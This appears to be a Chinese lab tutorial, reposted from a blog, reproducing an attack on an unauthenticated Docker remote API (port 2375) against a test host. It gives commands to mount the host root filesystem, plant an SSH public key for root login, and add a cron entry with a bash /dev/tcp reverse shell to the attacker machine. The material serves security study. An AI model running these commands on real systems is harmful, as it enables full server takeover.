Docker未授权访问漏洞

文章目录

  • 漏洞产生原因 (www.hetianlab.com)
  • 漏洞影响
  • 实验环境
  • 信息收集
    • nmap信息收集
    • 利用2375端口
  • docker未授权访问漏洞利用
    • docker远程连接目标机器
    • 进入容器方法一
    • 进入容器方法二
    • docker未授权写ssh公钥获得shell
    • 通过ssh进行连接,获取宿主机的shell
    • docker未授权写定时任务获得shell

漏洞产生原因 (www.hetianlab.com)

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。  

漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。  

实验环境

目标机器: CentOS7+Docker、IP:10.1.1.200  
  
攻击机器:Kali+Docker、IP:10.1.1.100  
  

信息收集

nmap信息收集

发现开放:
22:ssh默认端口
2375:docker远程操控

Docker未授权访问漏洞_第1张图片

利用2375端口

通过浏览器进行访问,如果页面显示message ”page not found" 代表存在漏洞,如果页面显示空白,可以通过info获取docker信息

Docker未授权访问漏洞_第2张图片
Docker未授权访问漏洞_第3张图片

获取image列表

10.1.1.200:2375/images/json

Docker未授权访问漏洞_第4张图片

docker未授权访问漏洞利用

docker远程连接目标机器

通过docker client使用 -H 参数连接目标的docker,并使用ps-a命令查寻目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a #列出所有容器

Docker未授权访问漏洞_第5张图片

docker -H tcp://10.1.1.200 images #列出所有镜像

Docker未授权访问漏洞_第6张图片

进入容器方法一

docker client连接目标,ps -a 查看哪些容器已经停止:

Docker未授权访问漏洞_第7张图片

通过strat命令启动一个停止的容器:

Docker未授权访问漏洞_第8张图片

attach 命令连接一个已经启动的容器:

Docker未授权访问漏洞_第9张图片

这样就能够获得一个docker容器的shell

进入容器方法二

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash 4c9608fd76ba(镜像id)

Docker未授权访问漏洞_第10张图片

docker未授权写ssh公钥获得shell

启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了

首先kali生成id_rsa公钥:ssh-keygen -t rsa

Docker未授权访问漏洞_第11张图片

生成的公钥在/root/.ssh/ 目录下:

将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

>这个代表的意思为覆盖,>>代表为追加

此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

通过ssh进行连接,获取宿主机的shell

Docker未授权访问漏洞_第12张图片

docker未授权写定时任务获得shell

启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

kali开启监听:

Docker未授权访问漏洞_第13张图片

写入反弹shell的脚本

****为定时任务,此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1

Docker未授权访问漏洞_第14张图片

你可能感兴趣的:(漏洞复现,docker,容器,运维,web安全,安全)